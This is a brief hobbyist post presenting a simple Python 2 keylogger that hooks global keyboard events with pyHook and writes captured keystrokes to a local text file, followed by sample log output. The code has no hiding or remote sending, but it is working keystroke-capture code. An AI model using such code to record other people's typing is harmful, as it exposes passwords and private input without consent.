My first logger python script to record keys .

Few days ago I worked with one issue : keyboard logger .
My first dilemma was: to use assemblly language or something simple like python.
My option was python - simple and fast to test how to deal with this issue.
About logger : A keyboard Logger is intended to record the keystrokes that a user inputs on a computer keyboard in addition to other user actions.
I make simple script after I search about how to deal with this.
You can see my script is simple and can be use if you want to record Python Interactive Interpreter.
I don't finish it , some keys like : backspace or enter will be put into log file.
So if you deal very well with python don't use this keys...
Anyway if I want to finish this then I need to fix this ...
Let's see the python script:
try:
 import pythoncom, pyHook, sys, logging
except:
 sys.exit()

#specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}

specials = {9:'TAB',13:'ENTER', 27:'ESC'}
buffer = ''

def OnKeyboardEvent(event):
 try:
  logging.basicConfig(filename='C:\\aa\\log_output.txt',level=logging.DEBUG,format='%(message)s')
  global buffer
  
  if event.Ascii in range(32,127):
   print chr(event.Ascii)
   buffer += chr(event.Ascii)
  
  if event.Ascii in specials:
   print '<'+specials[event.Ascii]+'>'
   logging.log(10,buffer)
   buffer = ''
   logging.log(10,'<'+specials[event.Ascii]+'>')
   
  return True
 except:
  sys.exit()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Let's see the result of this :

The output log text file ...:
python 
<ENTER>
import os 
<ENTER>
import sys
<ENTER>
